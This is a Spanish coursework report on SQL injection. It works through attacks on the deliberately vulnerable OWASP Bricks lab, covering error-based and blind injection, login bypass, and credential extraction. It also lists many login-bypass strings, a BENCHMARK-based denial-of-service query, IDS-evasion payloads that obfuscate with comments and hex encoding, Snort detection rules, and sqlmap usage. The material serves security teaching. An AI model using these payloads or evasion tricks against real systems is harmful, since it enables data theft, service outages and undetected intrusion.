41
Calidad, Seguridad y Auditoría Informática Herramientas y Técnicas de Inyección SQL David Albela Pérez

Herramientas y Técnicas de Inyeción SQL

Embed Size (px)

DESCRIPTION

Trabajo optativo sobre técnicas de inyección SQL, ejemplos prácticos con MySQL y Owasp Bricks, ofuscación en IDPS y herramientas de automatización como SQLMap, TheMole o SQLNinja. Introducción a la inyección en NoSQL.

Citation preview

Page 1: Herramientas y Técnicas de Inyeción SQL

Calidad, Seguridad y AuditoríaInformática

Herramientas y Técnicas

de Inyección SQL

David Albela Pérez

Page 2: Herramientas y Técnicas de Inyeción SQL
Page 3: Herramientas y Técnicas de Inyeción SQL

Este obra está bajo una licencia de Creative Commons Reconocimiento-NoComercial 3.0 España.

Page 4: Herramientas y Técnicas de Inyeción SQL
Page 5: Herramientas y Técnicas de Inyeción SQL

Tabla de Contenidos

1.Introducción.......................................................................................................................................82.Que es Inyección SQL.......................................................................................................................8

2.1.Factores de Riesgo.....................................................................................................................82.2.Canales de ataque.......................................................................................................................82.3.Tipos de Inyección.....................................................................................................................9

3.Entorno de pruebas............................................................................................................................93.1.Instalación..................................................................................................................................93.2.Contenido de OWASP Bricks..................................................................................................10

4.Inyecciones basadas en errores........................................................................................................114.1.Validar inyección SQL.............................................................................................................114.2.Obtener el número de columnas de la tabla.............................................................................114.3.Añadir consultas......................................................................................................................124.4.Obviar las comillas de la consulta original..............................................................................134.5.Inyección SQL en formularios de inicio de sesión..................................................................14

5.Recuperación y extracción de información.....................................................................................165.1.Parámetros y variables globales del SGBD.............................................................................175.2.Funciones y operaciones..........................................................................................................18

5.2.1.Denegación de Servicio....................................................................................................195.3.Esquema de la base de datos y extracción de datos.................................................................19

5.3.1.Obtener los nombres de las bases de datos......................................................................205.3.2.Obtener el nombre de las tablas de una base de datos.....................................................205.3.3.Obtener las columnas de una tabla...................................................................................215.3.4.Extracción de los datos de una tabla................................................................................21

6.Inyección SQL Ciega.......................................................................................................................236.1.Inyección parcialmente ciega...................................................................................................23

6.1.1.Comprobar si es posible realizar la inyección..................................................................236.1.2.Comprobar la versión de MySQL....................................................................................236.1.3.Buscar el nombre de la tabla............................................................................................24

6.2.Inyección totalmente ciega......................................................................................................246.2.1.Comprobar que es posible realizar la inyección SQL......................................................246.2.2.Comprobar versión de MySQL........................................................................................256.2.3.Obtener nombres de tablas o columnas............................................................................25

7.Ofuscación de inyecciones SQL......................................................................................................267.1.Utilizando los comentarios......................................................................................................267.2.Ofuscación con codificación de la URI...................................................................................277.3.Trampas o Decoys....................................................................................................................277.4.Ofuscación híbrida...................................................................................................................277.5.Otros problemas derivados de los IDPS..................................................................................28

8.Herramientas para la automatización de inyección SQL.................................................................288.1.SQLMap...................................................................................................................................28

8.1.1.Instalación y ejecución.....................................................................................................288.1.2.Fingerprinting con SQLMap............................................................................................298.1.3.Recuperación de tablas.....................................................................................................318.1.4.Obtener columnas de una tabla........................................................................................318.1.5.Extracción de los datos de la tabla users..........................................................................32

8.2.SQLNinja.................................................................................................................................338.2.1.Instalación........................................................................................................................33

Page 6: Herramientas y Técnicas de Inyeción SQL

8.2.2.Configuración...................................................................................................................348.2.3.Ejecución..........................................................................................................................34

8.3.The Mole..................................................................................................................................358.3.1.Instalación y ejecución.....................................................................................................358.3.2.Extracción de datos..........................................................................................................35

8.4.Otras herramientas...................................................................................................................388.4.1.Havij.................................................................................................................................388.4.2.Pangolin...........................................................................................................................39

8.5.SQLiFuzzer..............................................................................................................................399.Inyección SQL en bases de datos NoSQL.......................................................................................40

9.1.Inyección SQL en MongoDB..................................................................................................4110.Conclusiones..................................................................................................................................4111.Referencias....................................................................................................................................41

Page 7: Herramientas y Técnicas de Inyeción SQL

1. Introducción

En esta memoria se describen los principales tipos de inyección SQL y se realiza un análisispráctico sobre inyección SQL.

En un primer lugar se abordan los diferentes tipo de inyección clásicos y como es posibleprevenirlos. Se realiza la instalación de una aplicación vulnerable sobre la que se abordan distintastécnicas de inyección.

En segundo lugar se explican diferentes técnicas de ofuscación de inyección SQL para laevasión de reglas en IDS/IPS. Además se describen las posibles debilidades en los sistemas dedetección y prevención de ataques.

Finalmente se prueban herramientas de inyección SQL como SQLMap1, SQLNinja2 o TheMole3.

2. Que es Inyección SQL

El término de inyección SQL hace referencia a un conjunto de técnicas para la inserción deconsultas SQL no permitidas sobre recursos de un sitio web con contenido en una base de datos conel objeto de extraer información de la base de datos, realizar un análisis de fingerprinting delservidor objetivo o denegar el servicio.

La inyección está considerada como el principal tipo de ataque dentro del Top 10 de OWASP4

del 2013.

Entre las técnicas más comunes está el uso de comentarios sobre peticiones Get de HTMLañadiendo nuevas sentencias de consultas SQL. El error típico del lado del programador es noparametrizar las sentencias de SQL mediante parámetros. Como se verá más adelante, existen otrastécnicas como el uso de concatenación con la cláusula UNION, obviar columnas con NULL,concatenación o incluso evasión de firma con el uso de comentarios.

2.1. Factores de Riesgo

Una aplicación con posibilidad de realizar inyección SQL tiene el riesgo de ser susceptible aataques de todo tipo, desde extracción de datos, acceso administrativo a la aplicación, denegaciónde servicio, distribución de payloads5 maliciosos o incluso realizar pivoting para atacar otros puntosdesde el servidor comprometido.

2.2. Canales de ataque

Para realizar los ataques se definen tres canales de ataque:

• Inband: Los datos se extraen usando el mismo canal de la inyección SQL, es decir, sepresentan en la aplicación según se realiza la inyección.

1 SQLMap: http://sqlmap.org2 SQLNinja: http://sqlninja.sourceforge.net3 The Mole: http://themole.sourceforge.net4 Top 10 OWASP: https://www.owasp.org/index.php/Top_10_2013-Top_105 SQL Injection Payload: http://blog.detectify.com/post/51651525114/the-ultimate-sql-injection-payload

Page 8: Herramientas y Técnicas de Inyeción SQL

Ejemplo: cuando se muestran los datos de un producto en la aplicación y la inyecciónpermite obtener otros resultados. Es el canal más utilizado en estos ataques.

• Out of band: Los datos se recuperan a partir de un canal distinto.

Ejemplo: Un formulario de recuperación de contraseña o usuario que envía un correoelectrónico con los resultados de la consulta SQL.

• Inferencial: No se devuelve ningún resultado de la inyección, pero el atacante es capaz dereconstruir la información a partir de los resultados obtenidos de la consulta SQL.

Ejemplo: Consultas que no devuelven los datos, pero que es posible recuperar a partirde los resultados.

2.3. Tipos de Inyección

En tipo de inyección dado en una aplicación define la calidad del ataque y la necesidad derealizar o no una automatización más sofisticada que la simple ejecución del mismo.

Hay dos tipos de inyección:

• Basadas en errores: Es el ataque más fácil de ejecutar. Se devuelven los datos a través delmismo canal de ataque.

• Inyecciones ciegas o Blind Injection: Los datos pueden devolverse por un canal out ofband o inferencial. Se pueden distinguir dos tipos.

◦ Parcialmente ciegas: se puede inyectar código SQL pero solo se ven ciertos resultados, yno los datos.

◦ Totalmente ciegas: se puede inyectar código SQL pero no se observa ninguna alteración.

3. Entorno de pruebas

Para realizar los ejemplos de inyección SQL se realizará la instalación de un entorno depruebas con la aplicación web OWASP Bricks6. OWASP Bricks es una aplicación web escrita enPHP y MySQL orientada a los problemas más comunes en el desarrollo de aplicaciones. Incluyeproblemas típicos como SQL Injection que pueden ser probados en un entorno de pruebas parapentesting con el objetivo de aprendizaje de aspectos a tener en cuenta a la hora de realizaraplicaciones.

Otras aplicaciones web muy interesantes para pruebas de intrusión se describen en el blog deTaddong7.

3.1. Instalación

Para la instalación del OWASP Bricks es necesario PHP, MySQL y Apache Web Server. Acontinuación se describe la instalación para distribuciones basadas en Debian.

1. Instalación de paquetes$ sudo apt-get update

$ sudo apt-get install apache2 mysql-server mysql-client php5 php5-mysql

2. Crear base de datos

6 OWASP Bricks: http://sechow.com/bricks/download.html7 Aplicaciones web para pentesting: http://blog.taddong.com/2011/10/hacking-vulnerable-web-applications.html

Page 9: Herramientas y Técnicas de Inyeción SQL

$ mysql -u root -p

mysql> create database bricks;

mysql> grant all ON bricks.* TO user_bricks@localhost IDENTIFIED BY 'bricks';

3. Descargar OWASP Bricks y descomprimir en directorio de apache$ wget http://sourceforge.net/projects/owaspbricks/files/Tuivai%20-%202.2/OWASP%20Bricks%20-%20Tuivai.zip/download -O /var/www/owasp_bricks.zip

$ cd /var/www/

$ unzip OWASP%20Bricks%20-%20Tuivai.zip

$ cd bricks

4. Editar la configuración de Bricks$ vim /var/www/bricks/LocalSettings.php

# Cambiar los siguientes datos

$dbuser = 'bricks_user'; //MySQL database username

$dbpass = 'bricks'; //MySQL database password

$dbname = 'bricks'; //MySQL database name

5. La versión de Bricks utiliza para la conexión la función mysql_connect8, obsoleta a partir dePhp 5.5. Para evitar avisos Deprecated se puede quitar en el fichero php.ini:$ vim /etc/php5/apache2/php.ini

error_reporting = E_ALL ^ E_DEPRECATED

En el include de Bricks también se puede deshabilitar los reportes de errores:$ vim bricks/includes/MySQLHandler.php

ini_set('display_errors',1);

6. Instalar la base de datos

Ir al sitio web http://localhost/bricks/config/index.php

Pulsar el enlace Setup/reset database.

En la documentación oficial9 se encuentra disponible la instalación para Windows utilizandoWamp Server.

3.2. Contenido de OWASP Bricks

La aplicación Bricks se divide en tres secciones diferentes: páginas de inicio de sesión, páginasde subir ficheros y páginas de contenido.

Para las pruebas se utilizarán las siguientes páginas de contenido y login de Bricks:

8 Mysql_connect de PHP: http://php.net/manual/es/function.mysql-connect.php9 Instalación OWASP Bricks: http://sechow.com/bricks/docs/installation.html

Figura 1: Configuración inicial de Bricks.

Page 10: Herramientas y Técnicas de Inyeción SQL

• content-1: Parámetro entero por GET sin entrecomillar.

• content-2: Parámetro string por GET entrecomillado.

• login-1: Formulario POST con verificación de usuario y contraseña.

• login-3: Formulario POST con verificación de usuario y contraseña entre paréntesis.

4. Inyecciones basadas en errores

A continuación se detallan una serie de técnicas básicas de inyección basadas en error. Para ellose utiliza la página de Bricks content-1, la cual obtiene un identificador a través del parámetro de urlid. Para la inyección sobre sentencias con entrecomillado se utiliza la página de content-2.

4.1. Validar inyección SQL

Las forma más sencilla de comprobar que se puede explotar inyección SQL es añadir unacondición a mayores, por ejemplo AND 1=1.

Si el resultado de la página original se sigue mostrar, se comprueba forzando que la condiciónsea falsa AND 1=2. Si la petición no da ningún resultado, la condición añadida está funcionando yel sitio es explotable.

Ejemplos: localhost/bricks/content-1/index.php?id=0 and 1=2

4.2. Obtener el número de columnas de la tabla

Para buscar el número de columnas se utiliza la cláusula Order by indicando el número decolumnas hasta que el resultado de la consulta devuelva un error por columna inexistente. Estopermite realizar nuevas consultas con UNION.

Ejemplos:

• localhost/bricks/content-1/index.php?id=0 order by 8

Figura 2: La consulta permite añadir más condiciones where, con 1=2 se impide la carga de datos de la consultaoriginal.

Page 11: Herramientas y Técnicas de Inyeción SQL

• localhost/bricks/content-1/index.php?id=0 order by 9

En el ejemplo, la tabla de la página de resultado tiene hasta 8 columnas.

4.3. Añadir consultas

Con la cláusula UNION se pueden añadir más consultas. Para ello solo es necesario que lasegunda consulta tenga el mismo número de columnas que la consulta original. Las columnasinnecesarias se pueden rellenar con NULL, números o caracteres.

Para mostrar el resultado de la segunda consulta basta con hacer falta la condición de laprimera o recurrir a la cláusula LIMIT.

Ejemplos:

• Consulta con números o campos a null:

localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8

localhost/bricks/content-1/index.php?id=0 UNION SELECT null,null,null,null,null,null,null,null

• Como la página muestra solo el primer resultado obtenido, es necesario forzar para que se muestre el resultado de la segunda consulta. Para ello existen dos métodos:

◦ Forzando a falso la condición de la primera consulta:

▪ Con una condición and false

localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECT 1,2,3,4,5,6,7,8

▪ Con un identificador inexistente

Figura 3: Al menos existen 8 columnas en la tabla.

Figura 4: No encuentra la columna 9, solo hay 8 columnas en la tabla.

Page 12: Herramientas y Técnicas de Inyeción SQL

localhost/bricks/content-1/index.php?id=9999999999 UNION SELECT 1,2,3,4,5,6,7,8

◦ Usando la cláusula LIMIT. Requiere comentar el final de línea ya que la consulta original ya incluye esta clausula.

localhost/bricks/content-1/index.php?id=0 UNION SELECT 1,2,3,4,5,6,7,8 LIMIT 1,1--

4.4. Obviar las comillas de la consulta original

Los parámetros indicados en la petición HTTP Get suelen añadir a las consultas del códigoentre comillas. Pero esto no impide que un sitio web sea explotable. La página de Bricks content-2busca los datos por nombre de usuario entre comillas simples:

$sql = "SELECT * FROM users WHERE name='$user'";

El código es vulnerable a una inyección SQL abriendo y cerrando las comillas.

Ejemplo: localhost/bricks/content-2/index.php?user=harry' and 1='1

Figura 5: La cláusula LIMIT permite seleccionar que registros mostrar, obviando la consulta original.

Figura 6: El valor del atributo name se coloca entre comillas.

Page 13: Herramientas y Técnicas de Inyeción SQL

También es posible cerrar la comilla antes de tiempo y comentar la comilla del código original.Como es necesario que los comentarios de línea incluyan un espacio a continuación se utiliza elsímbolo + equivalente al espacio en la codificación de url.

4.5. Inyección SQL en formularios de inicio de sesión

Si la consulta de comprobación de credenciales de usuario no está convenientementeparametrizada, la validación de contraseña puede saltarse fácilmente.

La siguiente línea de código pertenece a la página de OWASP Bricks login-1/index.php:$sql="SELECT * FROM users WHERE name='$username' and password='$pwd'";

Introduciendo en el formulario de login un nombre de usuario, tom, y en el campo de textocontraseña la cadena ' OR '1'='1 se está forzando a que la consulta sea siempre cierta.

Figura 7: Cerrar la comilla del parámetro name y volver a cerrar con una nueva condición en la cláusula WHERE.

Figura 8: Los comentarios de linea permiten obviar el cierre de comillas del código original.

Page 14: Herramientas y Técnicas de Inyeción SQL

El ejemplo de la página login-3/index.php incluye los valores entre paréntesis.$sql="SELECT * FROM users WHERE name=('$username') and password=('$pwd') LIMIT 0,1";

Se puede saltar con cadenas de texto que cierren el paréntesis correctamente o terminen concommentario.

como ') or 1=('1 para la contraseña o ') or 1=(1)-- - en campo de usuario.

Otras cadenas válidas para un formulario de inicio de sesión vulnerable a inyección SQL pueden serlas que se citan a continuación:

' or '1'='1' or 'x'='x' or 0=0 --" or 0=0 --or 0=0 --' or 0=0 #" or 0=0 #

Figura 9: La página de login acepta comillas, la consulta de validación no está correctamente parametrizada.

Figura 10: La cadena ') or 1=('1')-- - en username fuerza a que la consulta sea verdadera a pesar de no conocer la contraseña.

Page 15: Herramientas y Técnicas de Inyeción SQL

or 0=0 #' or 'x'='x" or "x"="x') or ('x'='x' or 1=1--" or 1=1--or 1=1--

' or a=a--" or "a"="a') or ('a'='a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi' or 1=1 --

'or'1=1'==

and 1=1--and 1=1

' or 'one'='one--' or 'one'='one' and 'one'='one' and 'one'='one--1') and '1'='1--

admin' --admin' #admin'/*or 1=1--or 1=1#or 1=1/*

) or '1'='1--) or ('1'='1--' or '1'='1' or 'x'='x' or 0=0 --" or 0=0 --or 0=0 --' or 0=0 #" or 0=0 #or 0=0 #

' or 'x'='x" or "x"="x') or ('x'='x' or 1=1--" or 1=1--or 1=1--

' or a=a--" or "a"="a') or ('a'='a") or ("a"="ahi" or "a"="ahi" or 1=1 --hi' or 1=1 --

'or'1=1'

Otras posibles opciones de ataque en los formularios se pueden encontrar en el blog de Zerofreak10.

5. Recuperación y extracción de información.

Hasta ahora se ha visto que si el código no filtra las consultas convenientemente se pueden añadirconsultas nuevas con la cláusula UNION. Con las segunda consulta se puede obtener informaciónde la base de datos.

Se puede realizar fingerprinting11 utilizando los parámetros y funciones del gestor de base de datos.

10 Blog Zerofreak: http://zerofreak.blogspot.com.es/2012/01/chapter2-basic-sql-injection-with-login.html11 OS fingerprinting: http://www.forensicswiki.org/wiki/OS_fingerprinting

Page 16: Herramientas y Técnicas de Inyeción SQL

5.1. Parámetros y variables globales del SGBD

Los parámetros en un gestor de base de datos pueden ser útiles para obtener información del gestorde bases de datos e incluso del sistema operativo. MySQL utiliza variables globales para definirinformación como estado del registro de logs, ficheros utilizados por el gestor y datos de la versión,arquitectura y sistema operativo.

Algunos datos interesantes sobre la versión:

• @@version: indica la versión de MySQL.

• @@version_compile_machine: indica la arquitectura.

• @@version_compile_os: provee información de la versión del sistema operativo.

Se puede obtener la lista de variables disponibles en MySQL con la sentencia show para mysql-client.mysql> show variables;

Se puede acceder a los valores de una variable con la sentencia SELECT y usando @@ delante del nombre de la variable.

localhost/bricks/content-1/index.php?id=0 UNION SELECT @@version,@@version_compile_machine,@@version_compile_os,4,5,6,7,8 LIMIT 1,1--

Figura 11: La sentencia show muestra la lista de variables globales de MySQL.

Page 17: Herramientas y Técnicas de Inyeción SQL

5.2. Funciones y operaciones

Los gestores de bases de datos suelen incluir funciones y procedimientos almacenados. En la documentación oficial de MySQL12 está disponible la lista de funciones que devuelven algún tipo de información, como el nombre de la base de datos o el nombre del usuario de la conexión.

• database()/schema(): nombre del esquema de la base de datos.

• connection_id(): indentificador de la conexión a la base de datos.

• user()/system_user()/session_user(): indican el nombre de usuario de la conexión a la base de datos.

• localtime(): hora local del sistema.

Ejemplo: localhost/bricks/content-1/index.php?id=0 UNION SELECT database(),user(),connection_id(),4,5,6,7,8 LIMIT 1,1--

Ahora se tiene disponible el nombre de la base de datos y el usuario que accede a ella.

12 Documentación MySQL sobre funciones: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html

Figura 12: Las variables globales y parámetros del SGBDpermiten obtener información relevante.

Figura 13: Algunos SGBD tienen funciones que proporcionan información como el nombre de la base de datos o el usuario de conexión.

Page 18: Herramientas y Técnicas de Inyeción SQL

5.2.1. Denegación de Servicio

Algunas funciones del gestor de base de datos permiten realizar operaciones de cálculo. EnMySQL se puede llegar a realizar una denegación del servicio sobrecargando la base de datos conlas siguientes operaciones:

• benchmark(count, expr): Es una función que realiza la expresión expr tantas veces como seindique en count.

• SHA1(str)/SHA(str): Calcula el hash para el valor dado en str.

Para realizar una consulta varias veces se puede utilizar la consulta SELECT con la funciónBenchmark:

mysql> SELECT BENCHMARK(1000000,SHA1(1));

Concatenando la función es posible colgar la base de datos: BENCHMARK(999999,SHA1(BENCHMARK(999999, SHA1(..., SHA1(SHA1(0x65)))))).

Ejemplo: localhost/bricks/content-1/index.php?id=0 AND 1=2 UNION SELECTbenchmark(9999999999999999999999999999, sha1(sha1(0x65))),2,3,4,5,6,7,8

Aunque se cierre el navegador, la consulta sigue en ejecución en el servidor ralentizando elfuncionamiento de la base de datos.

5.3. Esquema de la base de datos y extracción de datos

Para obtener los datos de la base de datos es necesario conocer el esquema. Los SGBDnormalmente incluyen un catálogo del sistema o diccionario de datos que proporciona acceso a losmetadatos tales como el nombre de la base de datos, tablas, tipo de datos de una columna, opermisos de acceso.

En MySQL se puede acceder al catálogo del sistema information_schema13.

13 Information Schema: http://dev.mysql.com/doc/refman/5.0/es/information-schema.html

Figura 14: Cálculo de SHA1 en MySQL repetido varias veces en la misma consulta.

Figura 15: El proceso de mysqld ocupa el 100% del hilo de CPU asignado.

Page 19: Herramientas y Técnicas de Inyeción SQL

Es posible obtener los nombre de los esquemas de bases de datos. Conociendo el nombre de labase de datos se puede listar el nombre de las tablas utilizando information_schema, así como elnombre de las columnas de cada tabla.

5.3.1. Obtener los nombres de las bases de datos

Utilizando la tabla schemata del catálogo information_schema se puede obtener las bases dedatos accesibles por el usuario de la conexión.

Como la página solo muestra un único resultado, se utiliza la cláusula GROUP_CONCAT para concatenar los resultados en un única tupla y separados por comas.

localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECTuser(),GROUP_CONCAT(schema_name),3,4,5,6,7,8 from information_schema.schemata

5.3.2. Obtener el nombre de las tablas de una base de datos

Para obtener el nombre de las tablas de una la base de datos se usa la tabla tables deinformation_schemas.

Figura 16: Tablas del catálogo information_schema de MySQL.

Figura 17: El usuario tiene acceso a tres bases de datos.

Page 20: Herramientas y Técnicas de Inyeción SQL

localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECTuser(),GROUP_CONCAT(table_name),3,4,5,6,7,8 from information_schema.tables WHEREtable_schema='bricks'

5.3.3. Obtener las columnas de una tabla

El catálogo information_schema incluye información de las columnas de las tablas en columns.

localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECTuser(),GROUP_CONCAT(column_name),3,4,5,6,7,8 from information_schema.columns WHEREtable_name='users'

5.3.4. Extracción de los datos de una tabla

Ya se tiene información del nombre de la base de datos, tabla y columnas. Ahora solo esnecesario obtener las credenciales de usuario.

localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECTGROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8from users

Figura 18: Tablas de la base de datos bricks.

Figura 19: Los nombres de las columnas de la tabla users.

Page 21: Herramientas y Técnicas de Inyeción SQL

La función GROUP_CONTACT también permite incluir varios atributos y caracteres deseparación. Los caracteres de separación se deben incluir en código ASCII hexademical. 0x3a0aequivale a los dos puntos y un espacio:

localhost/bricks/content-1/index.php?id=1 AND 1=2 UNION SELECTGROUP_CONCAT(idusers), GROUP_CONCAT(name,0x3a0a,password),GROUP_CONCAT(email,0x3a0a,ua,0x3a0a,ref,host,0x3a0a,lang), 4,5,6,7,8 from users

En caso de que la sentencia sql original entrecomille el valor del parámetros, basta con cerrar lacomilla en el valor del parámetro id y terminar la url con el comentario de línea y un espacio (--+).

Ejemplo: localhost/bricks/content-1/index.php?id=1' UNION SELECTGROUP_CONCAT(name), GROUP_CONCAT(email), GROUP_CONCAT(password), 4,5,6,7,8from users LIMIT 1,1--+

Figura 20: Extracción de información como nombre, email y contraseña de los usuarios.

Figura 21: Obtención de todos los datos de la tabla 'users'.

Page 22: Herramientas y Técnicas de Inyeción SQL

6. Inyección SQL Ciega

El ataque mediante inyección ciega o blind SQL injection no difiere de las técnicas basadas enerrores. Pero dado que no se pueden obtener los datos directamente es necesario realizar una seriede técnicas utilizando condicionales.

6.1. Inyección parcialmente ciega

Los datos de la consulta no son devueltos, sin embargo es posible saber si algo ocurrerecibiendo respuestas como por ejemplo un error de sintaxis.

Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando lamuestra de datos del usuario:

if ($content = mysql_fetch_array($result)) {

// echo '<br/>User ID: <b>'. $content['idusers'].'</b><br/><br/>';

// echo 'User name: <b>'. $content['name'].'</b><br/><br/>';

// echo 'E-mail: <b>'. $content['email'].'</b><br/><br/>';

6.1.1. Comprobar si es posible realizar la inyección

localhost/bricks/content-1/index.php?id=0 AND 1=2

6.1.2. Comprobar la versión de MySQL

localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF(SUBSTRING(@@version,1,4)=5.1.,1,0))

Figura 23: Comprobar si la versión de MySQL es la 5.1.

Figura 22: La condición SQL forzada a no obtener los datos nos indica que no existe el usuario.

Page 23: Herramientas y Técnicas de Inyeción SQL

La sentencia SELECT @@version incluye un condicional para comprobar si la versión de MySQL comienza por “5.1.”.

En caso de que la condición sea cierta, devuelve 1 y el resultado de la consulta SQL es verdadera obteniendo el mismo resultado.

Si la condición es falta, la versión de MySQL no es la 5.1, el resultado de la consulta SQL es falta obteniendo el error de que el usuario no existe.

6.1.3. Buscar el nombre de la tabla

Es posible realizar la búsqueda de tablas por fuerza bruta en la base de datos utilizando lamisma técnica condicional.

localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROMinformation_schema.tables WHERE table_name='users')>0,1,0))

Al igual que en el caso de versión de MySQL se puede comprobar la existencia de ciertastablas o columnas en el esquema de base de datos utilizando la cláusula count y la condición mayora 0.

6.2. Inyección totalmente ciega

Cuando no se observa ningún tipo de alteración en la aplicación pero es posible realizar unainyección SQL.

En este caso se sigue utilizando técnicas sobre las condiciones de la consulta original peroutilizando funciones de repetición como Benchmark14 para MySQL.

Para los ejemplos se modifica el contenido de Bricks content-1/index.php comentando lamuestra de datos del usuario y además la línea que indica que no se encontró el usuario en laconsulta original.

// echo 'Error! User does not exists';

6.2.1. Comprobar que es posible realizar la inyección SQL

localhost/bricks/content-1/index.php?id=0 AND 1=BENCHMARK(199990000,SHA(0x61))

14 MySQL Benchmark function: http://dev.mysql.com/doc/refman/5.0/en/information-functions.html

Figura 24: Al buscar la tabla users en el esquema de la BD no se obtiene ningún error.

Page 24: Herramientas y Técnicas de Inyeción SQL

6.2.2. Comprobar versión de MySQL

localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF(SUBSTRING(@@version,1,1)=5,BENCHMARK(9999999,SHA(0x61)),0))

Si la página tarda en cargar es se cumple la condición deseada.

6.2.3. Obtener nombres de tablas o columnas

La misma técnica se puede realizar para buscar nombres de tablas o columnas en el esquema dedatos.

localhost/bricks/content-1/index.php?id=0 AND 1=(SELECT IF((SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')>0,BENCHMARK(9999999,SHA(0x61)),0))

Figura 25: El tiempo de carga es mayor si la condición secumple.

Figura 26: El tiempo de carga es mayor si la versión de MySQL es igual a 5.

Figura 27: Verificar que la tabla users existen con la ejecución de la función benchmark.

Page 25: Herramientas y Técnicas de Inyeción SQL

7. Ofuscación de inyecciones SQL

Los IDS/IPS son sistemas de detección y prevención de ataques. Snort15 Suricata16 y es unsistema de detección de intrusos (IDS) y prevención de intrusos (IPS) open source basados enfirmas o reglas.

Se puede descargar e instalar reglas gratuitas desde el sitio oficial o comprar las más avanzadas.También permiten personalizar reglas propias. A continuación se muestran reglas sencillas dedetección de inyección SQL para Snort:

• Detectar comillas o comentarios en la url (incluido en hexadecimal):

# Detect ' or -- or in hexadecimal and “#”

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/(\%27)|(\')|(\-\-)|(%23)|(#)/i"; classtype:Web-application-attack; sid:9099; rev:5;)

• Detectar la cláusula UNION en la url (incluido en hexadecimal):

# Detect Union

alert tcp any any -> $HOME_NET 80 (msg:"SQL Injection - Paranoid";pcre:"/union/ix"; classtype:Web-application-attack;sid:9099; rev:5;)

Sin embargo, existen técnicas que podría permitir evadir las reglas del IDS si no son losuficientemente robustas. Además, si el IDS/IPS está mal configurado, hay otros métodos paraevadir la detección del ataque.

A continuación se describen varias técnicas para la ofuscación de inyecciones SQL.

7.1. Utilizando los comentarios

Ejemplos:

localhost/bricks/content-1/index.php?id=1/**/AND/**/1=2/**/UNION/**/SELECT/**/GROUP_CONCAT%28name%29,2,3,4,5,6,7,8/**/from/**/users

15 IDS Snort: http://www.snort.org16 Suricada IDS/IPS: http://suricata-ids.org

Figura 28: Evasión de firmas de Snort usando comentarios.

Page 26: Herramientas y Técnicas de Inyeción SQL

7.2. Ofuscación con codificación de la URI

Convertir las cadenas de texto a codificación hexadecimal. Existen sitios web17 donde es posiblerealizar la codificación y obtener el código codificado para html.

Ejemplos: localhost/bricks/content-1/index.php?id=%31%20%41%4e%44%20%31%3d%32%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%40%40%76%65%72%73%69%6f%6e%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38

7.3. Trampas o Decoys

Los sistemas IDS basados en firmas tiene reglas con patrones de validaciones. Cuando unaregla encuentra un paquete que considera potencialmente peligroso alerta o detiene el tráfico.

Pero con las sentencias que incluyan comentarios como en el ejemplo:

/* <Decoy Keywords> */ SELECT @@version;

El comentario incluye se introduce un código trampa o Decoy, que incluye una cadenaespecífica para hacer que salte una alerta del IDPS para ese comentario pero que deje pasar el restode la consulta.

7.4. Ofuscación híbrida

Mezclar la codificación hexadecimal con el uso de

Ejemplos: localhost/bricks/content-1/index.php?id=1/**/AND%2f%2a%2a%2f1%3d2/**/UNI%4f%4e SELE%43%54 %40%40version%2c2%2c3%2c4%2c5%2c6%2c7%2c8

17 Text to Hex online converter: http://www.swingnote.com/tools/texttohex.php

Figura 29: Ofuscación de la inyección SQL utilizando codificación hexadecimal.

Page 27: Herramientas y Técnicas de Inyeción SQL

7.5. Otros problemas derivados de los IDPS

Los sistemas de detección y prevención de intrusos no son inmunes a los puntos débiles, sinembargo una configuración mal realizada como el uso de conexiones cifradas a través del protocoloTLS/SSL permiten al atacante evadir las reglas de detección de una inyección fácilmente. Otroproblema en los IDPS es tener habilitado el uso de compresión en las comunicaciones con elservidor web y no analizar su contenido. Hasta la versión de Snort 2.9.2.018 la opción por defecto dela directiva inspect_zip era no analizar el contenido comprimido.

8. Herramientas para la automatización de inyección SQL

Hay varias herramientas para realizar auditorías de inyección SQL, muchas de ellas de softwarelibre e incluidas en las principales distribuciones GNU/Linux para pentesting.

A continuación se realiza un análisis práctico con algunas de estas herramientas en el entornode pruebas de Bricks.

8.1. SQLMap

SQLMap es una herramienta open source en línea de comandos que realiza pruebas deinyección SQL automáticas con características como tracking de la base de datos, fingerprinting yextracción de datos.

Soporta múltiples sistemas gestores de bases de datos como Oracle, Microsoft SQL Server,MySQL, PostgreSQL, DB2 o SQLite. Utiliza técnicas clásicas basadas en error o inyección ciega.

Está escrita en Python con lo cual se puede instalar en cualquier sistema operativo conintérprete de Python. El código fuente se puede obtener de GitHub e incluye un wiki con bastantedocumentación19.

Destaca por ser una herramienta muy robusta y fácil de manejar.

8.1.1. Instalación y ejecución

$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

18 Snort with inspect_gzip: http://blog.snort.org/2012/01/snort-2920-javascript-normalization.html19 SQLMap wiki usage: https://github.com/sqlmapproject/sqlmap/wiki/Usage

Figura 30: Ofuscación híbrida utilizando comentarios y codificación hexadecimal.

Page 28: Herramientas y Técnicas de Inyeción SQL

$ cd sqlmap-dev

$ python sqlmap.py -h

8.1.2. Fingerprinting con SQLMap

Para ejecutar SQLMap contra un objetivo se debe indicar la página completa con el recursoincluido.

$ python sqlmap.py -u "http://localhost/bricks/content-1/index.php?id=0" -f --banner --dbs –users

En un primer análisis detecta que posiblemente sea una base de datos MySQL y que elparámetro id puede ser explotable.

Figura 31: Ayuda de sqlmap.py.

Figura 32: Análisis de un sitio web con SQLMap.

Figura 33: Obtención de versión del gestor de BD y de columnas de la tabla.

Page 29: Herramientas y Técnicas de Inyeción SQL
